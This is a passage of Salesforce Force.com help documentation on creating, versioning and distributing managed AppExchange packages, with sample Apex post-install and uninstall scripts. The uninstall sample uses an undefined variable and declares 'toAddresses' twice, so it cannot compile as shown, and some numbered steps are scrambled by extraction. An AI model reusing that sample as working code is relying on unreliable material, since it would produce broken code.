Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for
License Management App to locate it. The License Management Application (LMA) tracks information about each
user who installs your app. It allows you to track what users have which version, giving you a means of distributing
information about upgrades.
The License Management Application (LMA) can be installed in any Salesforce organization except a Personal, Group,
or Professional Edition organization and does not need to be the same Salesforce organization that you use to create or
upload the package, although it can be. You can also use the same License Management Application (LMA) to manage
an unlimited number of your managed packages in different Developer Edition organizations.

Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce organization
where you install the License Management Application (LMA), and the unmanaged package you want to convert into a
managed package.

See Also:
Managing Packages
Converting Unmanaged Packages to Managed
Configuring Your Developer Settings
Registering a Namespace Prefix
Specifying a License Management Organization

1942

Create

Enabling Managed Packages for Your Organization

About Managed Packages


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated
with a namespace and a License Management Organization.

You must use a Developer Edition organization to create and work with a managed package.
Managed packages are depicted by the following icons:

Managed - Beta

Managed - Released

Managed - Installed
Tip: To prevent naming conflicts, Salesforce recommends using managed packages for all packages that contain Apex.
This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called
MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as
OneTruCode.MyHelloWorld.

Configuring Your Developer Settings


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings:

Customize Application

To create packages:

Create AppExchange Packages

To upload packages:

Upload AppExchange Packages

The developer settings in a Developer Edition organization allow you to create a single managed package, upload that package
to Force.com AppExchange, allowing other users to install and upgrade the package in their organization. After configuring
your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always
create an unlimited number of unmanaged packages.
Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your
Organization on page 1942.
To configure your developer settings:

1943

Create

Enabling Managed Packages for Your Organization

1. Click Your Name > Setup > Create > Packages.


2. Click Edit.
Note: This button does not appear if you have already configured your developer settings.

3. Review the selections necessary to configure developer settings, and click Continue.
4. Register a namespace prefix.
5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this
selection blank and update it later.
6. Click Review My Selections.
7. Click Save.
Tip: You may want to specify a License Management Organization (LMO) for your managed package; to find out
more, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization
Registering a Namespace Prefix
Specifying a License Management Organization

Registering a Namespace Prefix


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings:

Customize Application

To create packages:

Create AppExchange Packages

To upload packages:

Upload AppExchange Packages

In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package
and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example,
ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations.
It keeps your managed package under your control exclusively.
Salesforce automatically prepends your namespace prefix, followed by two underscores (__), to all unique component names
in your Salesforce organization. A unique package component is one that requires a name that no other component has within
Salesforce, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example, if your namespace

1944

Create

Enabling Managed Packages for Your Organization

prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the API name
abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail pages.
Caution: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still
function properly after you register a namespace prefix. However, s-controls stored outside of your organization or
s-controls that use the Force.com API to call Salesforce may require some fine-tuning. For more information, see
S-control in the Object Reference.
Your namespace prefix must:
Begin with a letter
Contain one to 15 alphanumeric characters
Not contain two consecutive underscores

To register a namespace prefix:


1. Click Your Name > Setup > Create > Packages.
2. Click Edit.
Note: This button does not appear if you have already configured your developer settings.

3.
4.
5.
6.
7.
8.

Review the selections necessary to configure developer settings and click Continue.
Enter the namespace prefix you want to register.
Click Check Availability to determine if it is already in use.
Repeat if the namespace prefix you entered is not available.
Click Review My Selections.
Click Save.

See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Specifying a License Management Organization

Specifying a License Management Organization


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A license management organization is a Salesforce organization that you use to track all Salesforce users who install your
managed package. The license management organization receives notification (in the form of a lead record) when a user installs
or uninstalls your package and tracks each package upload on Force.com AppExchange.

1945

Create

Managing Packages

Your license management organization can be any Salesforce Enterprise, Unlimited, or Developer Edition organization that
has installed the free License Management Application (LMA) from AppExchange. To specify a License Management
Organization, go to http://sites.force.com/appexchange/publisherHome.

See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Registering a Namespace Prefix

Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages:

Upload AppExchange packages

Packages are a collection of Force.com components and applications that are made available to other organizations through
the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange,
and are associated with a namespace and a License Management Organization. To support upgrades, a package must be
managed. An organization can create a single managed package that can be downloaded and installed by many different
organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed
package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition,
managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property
of the developer.
For details, see the Force.com Quick Reference for Developing Packages.
To manage your packages, click Your Name > Setup > Create > Packages. For more customization, see Configuring Your
Developer Settings on page 1943.
From the list of packages, you can do any of the following:

Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages.

Click Edit to update the package properties.


Click Del to delete the package. The components contained in your package are not deleted.
Click the name of the package to view the details of the package.

1946

Create

Managing Packages

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

See Also:
Overview of Packages
Viewing Package Details
Creating or Editing a Package

About Package Versions


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Unmanaged packages are
not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance
for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to
evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing
customer integrations using the package.
Version numbers depend on the package release type, which identifies the way packages are distributed. There are two kinds:
Major Release
A major release denotes a Managed - Released package. During these releases, the major and minor numbers of a
package version increase to a chosen value.
Patch Release
A patch release is only for patch versions of a package. During these releases, the patch number of a package version
increments.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package,
but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an
Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber
still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the
previous version for any code that references the deprecated method in the older version.
Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions.
This allows the package developer to continue to support existing behavior in classes and triggers in previous package versions
while continuing to evolve the code.

1947

Create

Managing Packages

When you are developing client applications using the API, you can specify the version of each package that you use in your
integrations.

See Also:
Managing Packages
Planning the Release of Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide
Developer's Guide: Web Services API Developer's Guide

Creating or Editing a Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages:

Create AppExchange Packages

An app can contain many different components and you can create, upload, and register your apps on your own timeline. To
group components in a container to upload to Force.com AppExchange, create a package and add components to the package.
A package is the container for the app that you must use to upload all its components together.
Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.

To create a new package:


1.
2.
3.
4.
5.

Click Your Name > Setup > Create > Packages.


Click New.
Enter a name for your package. This does not have to be the same name that appears on AppExchange.
From the drop-down menu, select the default language of all component labels in the package.
Optionally, choose a custom link from the Configure Custom Link field to display configuration information to
installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home
page layouts; see the Configure Option on page 1979. The custom link displays as a Configure link within Salesforce on
the Force.com AppExchange Downloads page and app detail page of the installer's organization.
6. Optionally, in the Notify on Apex Error field, enter the username of the person who should receive an email notification
if an exception occurs in Apex that is not caught by the Apex code. If you do not specify a username, all uncaught exceptions
generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more
information, see Handling Apex Exceptions in Managed Packages on page 2069.
Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

7. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.

1948

Create

Managing Packages

8. Optionally, specify a post install script. This is an Apex script that runs in the subscriber organization after the package is
installed or upgraded. For more information, see Running Apex on Package Install/Upgrade.
9. Optionally, specify an uninstall script. This is an Apex script that runs in the subscriber organization after the package is
uninstalled. For more information, see Running Apex on Package Uninstall.
10. Click Save.
After you create a package you can do any of the following:

View the package details


Add components to the package
Upload the package

See Also:
Viewing Package Details
Preparing Your Apps for Distribution

Adding Components to your Package


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages:

Create AppExchange Packages

After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages.
These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly.
To add components to a package, click Your Name > Setup > Create > Packages and select the name of the package you
want to add components to. From the package detail page:
1. Click Add.
2. From the drop-down list, choose the type of component you want to add to your package.

At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

3. Select the components you want to add.


Note: Some components cannot be added to
see Developing Packages for Distribution.

Managed - Released packages. For a list of these components,

S-controls cannot be added to packages with restricted API access.

1949

Create

Managing Packages

4. Click Add To Package.

See Also:
Managing Packages
Viewing Package Details
Preparing Your Apps for Distribution

Protected Components
Developers can mark certain components as protected. Protected components cannot be linked to or referenced by components
created in a subscriber organization. A developer can delete a protected component in a future release without worrying about
failing installations. However, once a component is marked as unprotected and is released globally, the developer cannot delete
it.
The developer can mark the following components as protected in managed packages:

Custom labels
Custom links (for Home page only)
Workflow alerts
Workflow field updates
Workflow outbound messages
Workflow tasks

About Permission Sets and Profile Settings in Packages


Available in: Enterprise, Unlimited, and Developer Editions

Developers can use permission sets or profile settings to grant permissions and other access settings to a package. When
deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences.
Behavior

Permission Sets

What permissions and settings are


included?

Custom object permissions


Custom field permissions
Apex class access
Visualforce page access
Note: Assigned apps and tab
settings are not included in
permission set components.

Profile Settings

Assigned apps
Tab settings
Page layout assignments
Record type assignments
Custom object permissions
Custom field permissions
Apex class access
Visualforce page access

1950

Create

Managing Packages

Behavior

Permission Sets

Profile Settings

Can they be upgraded in managed


packages?

Yes.

No. Profile settings are applied to


existing profiles in the subscriber's
organization on install or upgrade. Only
permissions related to new components
created as part of the install or upgrade
are applied.

Can subscribers edit them?

No.

Yes.

Can you clone or create them?

Yes. However, if a subscriber clones a


Yes. Subscribers can clone any profile
permission set or creates one that's based that includes permissions and settings
on a packaged permission set, it won't be related to packaged components.
updated in subsequent upgrades. Only
the permission sets included in a package
are upgraded.

Do they include standard object


permissions?

No.

No.

Do they include user permissions?

No.

No.

Are they included in the installation


wizard?

No. Subscribers must assign permission Yes. Profile settings are applied to
sets after installation.
existing profiles in the subscriber's
organization on install or upgrade. Only
permissions related to new components
created as part of the install or upgrade
are applied.

What are the user license requirements? A permission set is only installed if the None. In a subscriber organization, the
subscriber organization has at least one installation overrides the profile settings,
user license that matches the permission not their user licenses.
set. For example, permission sets with
the Salesforce Platform user license aren't
installed in an organization that has no
Salesforce Platform user licenses. If a
subscriber subsequently acquires a license,
they must reinstall the package to get the
permission sets associated with the newly
acquired license.
How are they assigned to users?

Subscribers must assign packaged


permission sets after installing the
package.

Profile settings are applied to existing


profiles.

Best Practices

Use permission sets in addition to packaged profiles so your subscribers can easily add new permissions for existing app
users.
If users need access to apps, tabs, page layouts, and record types, don't use permission sets as the sole permission-granting
model for your app. (Assigned apps and tab settings are available in the permission set user interface, but they arent included
in permission set package components.)

1951

Create

Viewing Package Details

Viewing Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages:

Create AppExchange Packages

Click Your Name > Setup > Create > Packages and click the name of a package to view its details, including any added
components, whether it is a managed package, if the package has been uploaded, and so on.
The detail page has the following sections:

Package Detail
Components tab
Versions tab
Patch Organizations tab
Remote Access tab

From the Package Detail page, you can do any of the following:

Click Edit to change the package name, custom link that displays when users click Configure, or description.
Click Delete to delete the package. This does not delete the components contained in the package but the components
will no longer be bundled together within this package.
Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see
Managing Versions on page 1969. For more information on the entire process, see Preparing Your Apps for Distribution
on page 1965.
Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the
installing organization by using the links next to API Access. For more information about API access, see Managing
API and Dynamic Apex Access in Packages on page 1768.

Viewing Package Details


For package developers, the package detail section displays the following package attributes (in alphabetical order):
Attribute

Description

API Access

The type of access that the API and dynamic Apex that
package components have. The default setting is Unrestricted,
which means that all package components that access the API
have the same access as the user who is logged in. Click Enable
Restrictions or Disable Restrictions to change the API and
dynamic Apex access permissions for a package.
For more information about API access and the access dynamic
Apex have for managed package components, see Managing
API and Dynamic Apex Access in Packages on page 1768.

1952

Create

Viewing Package Details

Attribute

Description

Created By

The name of the developer that created this package, including


the date and time.

Description

A detailed description of the package.

Language

The language used for the labels on components. The default


value is your user language.

Last Modified By

The name of the last user to modify this package, including


the date and time.

Notify on Apex Error

The username of the person who should receive an email


notification if an exception occurs in Apex that is not caught
by the code. If you do not specify a username, all uncaught
exceptions generate an email notification that is sent to
salesforce.com. This is only available for managed packages.
For more information, see Handling Apex Exceptions in
Managed Packages on page 2069.
Note: Apex can only be packaged from Developer,
Enterprise, and Unlimited Edition organizations.

Package Name

The name of the package, given by the publisher.

Post Install Script

The Apex code that runs after this package is installed or


upgraded. For more information, see Running Apex on
Package Install/Upgrade.

Type

Indicates whether this is a managed or unmanaged package.

Uninstall Script

The Apex code that runs after this package is uninstalled. For
more information, see Running Apex on Package Uninstall.

Viewing Package Components


For package developers, the Components tab lists every package component contained in the package, including the name
and type of each component.
If a component is deprecated, the developer of the package sees a
see a icon.

icon next to the component. Subscribers of the package

Click Add to add components to the package.


Note:

Some related components are automatically included in the package even though they may not display in the
Package Components list. For example, when you add a custom object to a package, its custom fields, page layouts,
and relationships with standard objects are automatically included. For a complete list of components Salesforce
automatically includes, see Developing Packages for Distribution.
When you package a joined report, each block is included in the package. Although the blocks appear in the package
as reports, when you click on a block, you see an error message that you have insufficient privileges to view the
report. This is expected behavior. Instead, click on the name of the joined report to run it.

1953

Create

Viewing Package Details

Click View Dependencies to review a list of components that rely on other components, permissions, or preferences within
the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting
like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For
more information on dependencies, see Understanding Dependencies on page 1970. Click Back to Package to return to the
Package detail page.
Click View Deleted Components to see which components were deleted from the package across all of its versions.
The following component information is displayed (in alphabetical order):
Attribute

Description

Action

Lists the actions you can perform on the component. The only
choice is Remove, which removes the component from an
unreleased package.

Available in Versions

Displays the version number of the package in which a


component exists.

Included By

This column lists how a component was included in a package.


If the component was automatically included because it is
referenced by another component, this column lists the name
of the referencing component. If the component was added
by a developer, this column lists User Selected. If the
component was added in a prior version of this package, this
column lists Previously Released.

Name

Displays the name of the component.

Owned By

If the component was added from a different installed package,


this column lists the name of that package.

Parent Object

Displays the name of the parent object a component is


associated with. For example, a custom object is the parent of
a custom field.

Type

Displays the type of the component.

Viewing Version History


For package developers, the Versions tab lists all the previous uploads of a package.
Click Push Upgrades to automatically upgrade subscribers to a specific version.
Click the Version Number of any listed uploads to manage that upload. For more information, see Managing Versions on
page 1969.
Note: Push Upgrades is only available for patch updates. Registered Salesforce ISVs may request this feature through
the Salesforce partner portal.
The versions table displays the following package attributes (in alphabetical order):
Attribute

Description

Action

Lists the actions you can perform on the package. The possible
actions are:
Deprecate: Deprecates a package version.

1954

Create

Viewing Package Details

Attribute

Description
Caution: Users will no longer be able to download
or install this package. However, existing
installations will continue to work.

Undeprecate: Enables a package version to be installed by


users once again

Status

The status of the package. The possible statuses are:


Released: The package is Managed - Released
Beta: The package is Managed - Beta
Deprecated: The package version is deprecated

Version Name

The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.

Version Number

The version number for the latest installed package version.


The format is majorNumber.minorNumber.patchNumber,
such as 2.1.3. The version number represents a release of a
package. The Version Name is a more descriptive name for
the release. Note that the patchNumber is generated only
when you create a patch. If there is no patchNumber, it is
assumed to be zero (0).

Viewing Patch Development Organizations


Every patch is developed in a patch development organization, which is the organization where patch versions are developed,
maintained, and uploaded. To start developing a patch, you need to create a patch development organization. To do this, see
Creating and Uploading Patches on page 1987. Patch development organizations are necessary to permit developers to make
changes to existing components without causing incompatibilities between existing subscriber installations. Click New to
create a new patch for this package.
The Patch Organizations table lists all the patch development organizations created. It lists the following attributes (in
alphabetical order):
Attribute

Description

Action

Lists the actions you can perform on a patch development


organization. The possible actions are:
Login: Log into your patch development organization
Reset: Emails a new temporary password for your patch
development organization

Administrator Username

The login associated with the patch organization.

Patching Major Release

The package version number that you are patching.

Remote Access
For package developers, the Remote Access tab lists all the remote access applications created as part of this package.

1955

Create

Determining Your Development Process

Click New to create a new remote access application to be included as part of this package.
The following remote access information is displayed (in alphabetical order):
Attribute

Description

Name

The name of the remote access application.

Version

The version of the package that the remote access application


is associated with.

See Also:
Creating or Editing a Package
Preparing Your Apps for Distribution
Managing Packages

Determining Your Development Process


Unmanaged packages are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Managed packages are available in: Developer Edition

All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a
Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release
and offer upgrades for them.
Before creating a package, determine the development process you aim to take so that you can choose the most appropriate
type of package for your process:
Developing Unmanaged Packages

Design your app. See the Force.com Quick Reference for Developing Packages.
Package and upload your app

Developing Managed Packages

Design your app. See the Force.com Quick Reference for Developing Packages.
Package and upload a beta version of your app
Gather feedback from your beta testers and make the appropriate fixes to your app
Package and upload your final version of the app

See Also:
Planning the Release of Managed Packages
Managing Packages
Creating and Uploading Patches

1956

Create

Determining Your Development Process

Planning the Release of Managed Packages


Releasing an AppExchange package is similar to releasing any other program in software development. You may want to roll
it out in iterations to ensure each component functions as planned. You may even have beta testers who have offered to install
an early version of your package and provide feedback.
Once you release a package by publishing it on AppExchange, anyone can install it. So, plan your release carefully. Review
the states defined below to familiarize yourself with the release process. Salesforce automatically applies the appropriate state
to your package and components depending on the upload settings you choose and where it is in the release process.
State

Description

Unmanaged

The package has not been converted into a managed package or the component
has not been added to a managed package. Note that a component that is Managed
- Beta can become Unmanaged if it is removed from a managed package. All
packages are unmanaged unless otherwise indicated by one of the managed icons
below.

Managed - Beta

The package or component was created in the current Salesforce organization and
is managed, but it is not released because of one of these reasons:
It has not been uploaded.
It has been uploaded with Managed - Beta option selected. This option
prevents it from being published, publicly available on AppExchange. The
developer can still edit any component but the installer may not be able to
depending on which components were packaged..

Managed - Released

The package or component was created in the current Salesforce organization and
is managed. It is also uploaded with the Managed - Released option selected,
indicating that it can be published on AppExchange and is publicly available. Note
that once you have moved a package to this state, some properties of the components
are no longer editable for both the developer and installer.
This type of release is considered a major release.

Patch

If you need to provide a minor upgrade to a managed package, consider creating a


patch instead of a new major release. A patchenables a developer to change the
functionality of existing components in a managed package, while ensuring that
subscribers experience no visible changes to the package.
This type of release is considered a patch release.

Managed - Installed

The package or component was installed from another Salesforce organization but
is managed.

A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed
- Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the
component, while the component continues to function for existing subscribers and API integrations.

1957

Create

Determining Your Development Process

For more information on developing and releasing packages, see the Force.com Quick Reference for Developing Packages.

See Also:
Managing Packages
Determining Your Development Process

Deleting Components From Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete components from a package:

Create AppExchange Packages

After you've uploaded a Managed - Released package, you may find that a component needs to be deleted from your
organization. One of the following situations may occur:

The component, once added to a package, can't be deleted.


Note: The Available Components table in the Force.com Quick Reference for Developing Packages has more information
on which components can't be deleted.

The component can be deleted, but can only be undeleted from the Deleted Package Components page.
The component can be deleted, but can be undeleted from either the Deleted Package Components page or through the
Recycle Bin

To access the Deleted Package Components page, click Your Name > Setup > Create > Packages, select the package the
component was uploaded to, then click View Deleted Components. If a component can be retrieved through the Recycle
Bin, it can also be retrieved through this page. You can retrieve the following types of components from here:

Apex classes and triggers that don't have global access


Visualforce components with public access
Protected components, including:

Custom labels
Custom links (for Home page only)
Workflow alerts
Workflow field updates
Workflow outbound messages
Workflow tasks

Data components, such as Documents, Dashboards, and Reports. These are the only types of components that can also
be undeleted from the Recycle Bin

1958

Create

Running Apex on Package Install/Upgrade

You can retrieve components from the Recycle Bin and Deleted Package Components page any time before uploading a new
version of the package. To do this, click Undelete next to the component.
After a package is uploaded with a component marked for deletion, it is deleted forever.
Caution: Although a component is deleted, its Name remains within Salesforce. You can never create another
component with the same name. The Deleted Package Components page lists which names can no longer be used.
The Deleted Components displays the following information (in alphabetical order):
Attribute

Description

Action

If the Managed - Released package hasn't been uploaded


with the component deleted, this contains an Undelete link
that allows you to retrieve the component.

Available in Versions

Displays the version number of the package in which a


component exists.

Name

Displays the name of the component.

Parent Object

Displays the name of the parent object a component is


associated with. For example, a custom object is the parent of
a custom field.

Type

Displays the type of the component.

Modifying Custom Fields after a Package is Released


Available in: Developer Edition

The following changes are allowed to custom fields in a package, after it is released.

The length of a text field can be increased or decreased.


The number of digits to the left or right of the decimal point in a number field can be increased or decreased.
A required field can be made non-required and vice-versa. If a default value was required for a field, that restriction can
be removed and vice-versa.

Running Apex on Package Install/Upgrade


App developers can specify an Apex script to run automatically after a subscriber installs or upgrades a managed package. This
makes it possible to customize the package install or upgrade, based on details of the subscribers organization. For instance,
you can use the script to populate custom settings, create sample data, send an email to the installer, notify an external system,
or kick off a batch operation to populate a new field across a large set of data. For simplicity, you can only specify one post
install script. It must be an Apex class that is a member of the package.

1959

Create

Running Apex on Package Install/Upgrade

The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system
user that represents your package, so all operations performed by the script appear to be done by your package. You can access
this user by using UserInfo. You will only see this user at runtime, not while running tests.
If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex
Error field of the package. If no user is specified, the install/upgrade details will be unavailable.
The post install script has the following additional properties.

It can initiate batch, scheduled, and future jobs.


It cant access Session IDs.
It can only perform callouts using an async operation. The callout occurs after the script is run and the install is complete
and committed.
Note: You cant run a post install script in a new trial organization provisioned using Trialforce. The script only runs
when a subscriber installs your package in an existing organization.

How does a Post Install Script Work?


A post install script is an Apex class that implements the InstallHandler interface. This interface has a single method
called onInstall that specifies the actions to be performed on installation.
global interface InstallHandler {
void onInstall(InstallContext context)
}

The onInstall method takes a context object as its argument, which provides the following information.

The org ID of the organization in which the installation takes place.


The user ID of the user who initiated the installation.
The version number of the previously installed package (specified using the Version class). This is always a three-part
number, such as 1.2.0.
Whether the installation is an upgrade.
Whether the installation is a push.

The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented
by the system. The following definition of the InstallContext interface shows the methods you can call on the context
argument.
global interface InstallContext {
ID organizationId();
ID installerId();
Boolean isUpgrade();
Boolean isPush();
Version previousVersion();
}

Version Methods and Class


You can use the methods in the System.Version class to get the version of a managed package and to compare package
versions. A package version is a number that identifies the set of components uploaded in a package. The version number has

1960

Create

Running Apex on Package Install/Upgrade

the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a
chosen value during every non-patch release. Major and minor number increases will always use a patch number of 0.
The following are instance methods for the System.Version class.
Method

Arguments

Return Type

compareTo

System.Version version Integer

Description
Compares the current version with the
specified version and returns one of the
following values:
Zero if the current package version is
equal to the specified package version
An Integer value greater than zero if the
current package version is greater than
the specified package version
An Integer value less than zero if the
current package version is less than the
specified package version
If a two-part version is being compared to
a three-part version, the patch number is
ignored and the comparison is based only
on the major and minor numbers.

major

Integer

Returns the major package version of the


calling code.

minor

Integer

Returns the minor package version of the


calling code.

patch

Integer

Returns the patch package version of the


calling code or null if there is no patch
version.

The System class contains two methods that you can use to specify conditional logic, so different package versions exhibit
different behavior.

System.requestVersion: Returns a two-part version that contains the major and minor version numbers of a package.

Using this method, you can determine the version of an installed instance of your package from which the calling code is
referencing your package. Based on the version that the calling code has, you can customize the behavior of your package
code.
System.runAs(System.Version): Changes the current package version to the package version specified in the
argument.

When a subscriber has installed multiple versions of your package and writes code that references Apex classes or triggers in
your package, they must select the version they are referencing. You can execute different code paths in your packages Apex
code based on the version setting of the calling Apex code making the reference. You can determine the calling codes package
version setting by calling the System.requestVersion method in the package code.
For more information, including a code example, see Version Methods in the Force.com Apex Code Developer's Guide.

1961

Create

Running Apex on Package Install/Upgrade

Example of a Post Install Script


The following sample post install script performs these actions on package install/upgrade.

If the previous version is null, that is, the package is being installed for the first time, the script:
Creates a new Account called Newco and verifies that it was created
Creates a new instance of the custom object Survey, called Client Satisfaction Survey
Sends an email message to the subscriber confirming installation of the package

If the previous version is 1.0, the script creates a new instance of Survey called Upgrading from Version 1.0
If the package is an upgrade, the script creates a new instance of Survey called Sample Survey during Upgrade
If the upgrade is being pushed, the script creates a new instance of Survey called Sample Survey during Push
global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
if(context.previousVersion() == null) {
Account a = new Account(name='Newco');
insert(a);
Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
insert obj;
User u = [Select Id, Email from User where Id =:context.installerID()];
String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
else
if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
insert(obj);
}
if(context.isUpgrade()) {
Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
insert obj;
}
if(context.isPush()) {
Survey__c obj = new Survey__c(name='Sample Survey during Push');
insert obj;
}
}
}

You can test a post install script using the new testInstall method of the Test class. This method takes the following
arguments.

A class that implements the InstallHandler interface.


A Version object that specifies the version number of the existing package.
An optional Boolean value that is true if the installation is a push. The default is false.

1962

Create

Running Apex on Package Uninstall

This sample shows how to test a post install script implemented in the PostInstallClass Apex class.
@isTest
static void testInstallScript() {
PostInstallClass postinstall = new PostInstallClass();
Test.testInstall(postinstall, null);
Test.testInstall(postinstall, new Version(1,0), true);
List<Account> a = [Select id, name from Account where name ='Newco'];
System.assertEquals(a.size(), 1, 'Account not found');
}

Specifying a Post Install Script


Once you have created and tested the post install script, you can specify it in the Post Install Script lookup field on the Package
Detail page. In subsequent patch releases, you can change the contents of the script but not the Apex class.
The class selection is also available via the Metadata API as Package.postInstallClass. This is represented in package.xml
as a <postInstallClass>foo</postInstallClass> element.

Running Apex on Package Uninstall


App developers can specify an Apex script to run automatically after a subscriber uninstalls a managed package. This makes
it possible to perform cleanup and notification tasks based on details of the subscribers organization. For simplicity, you can
only specify one uninstall script. It must be an Apex class that is a member of the package.
The uninstall script is subject to default governor limits. It runs as a special system user that represents your package, so all
operations performed by the script will appear to be done by your package. You can access this user by using UserInfo. You
will only see this user at runtime, not while running tests.
If the script fails, the uninstall continues but none of the changes performed by the script are committed. Any errors in the
script are emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the uninstall
details will be unavailable.
The uninstall script has the following restrictions. You cant use it to initiate batch, scheduled, and future jobs, to access Session
IDs, or to perform callouts.

How does an Uninstall Script Work?


An uninstall script is an Apex class that implements the UninstallHandler interface. This interface has a single method
called onUninstall that specifies the actions to be performed on uninstall.
global interface UninstallHandler {
void onUninstall(UninstallContext context)
}

The onUninstall method takes a context object as its argument, which provides the following information.

The org ID of the organization in which the uninstall takes place

1963

Create

Running Apex on Package Uninstall

The user ID of the user who initiated the uninstall

The context argument is an object whose type is the UninstallContext interface. This interface is automatically implemented
by the system. The following definition of the UninstallContext interface shows the methods you can call on the context
argument.
global interface UninstallContext {
ID organizationId();
ID uninstallerId();
}

Example of an Uninstall Script


The sample uninstall script below performs the following actions on package uninstall.
Inserts an entry in the feed describing which user did the uninstall and in which organization
Creates and sends an email message confirming the uninstall to that user

global class UninstallClass implements UninstallHandler {


global void onUninstall(UninstallContext ctx) {
FeedItem feedPost = new FeedItem();
feedPost.parentId = ctx.uninstallerID();
feedPost.body = 'Thank you for using our application!';
insert feedPost;
User u = [Select Id, Email from User where Id =:context.uninstallerID()];
String toAddress= u.Email;
String[] toAddresses = new String[] {toAddress};
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {'admin@package.dev'};
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package uninstall successful');
mail.setPlainTextBody('Thanks for uninstalling the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
}

You can test an uninstall script using the testUninstall method of the Test class. This method takes as its argument a
class that implements the UninstallHandler interface.
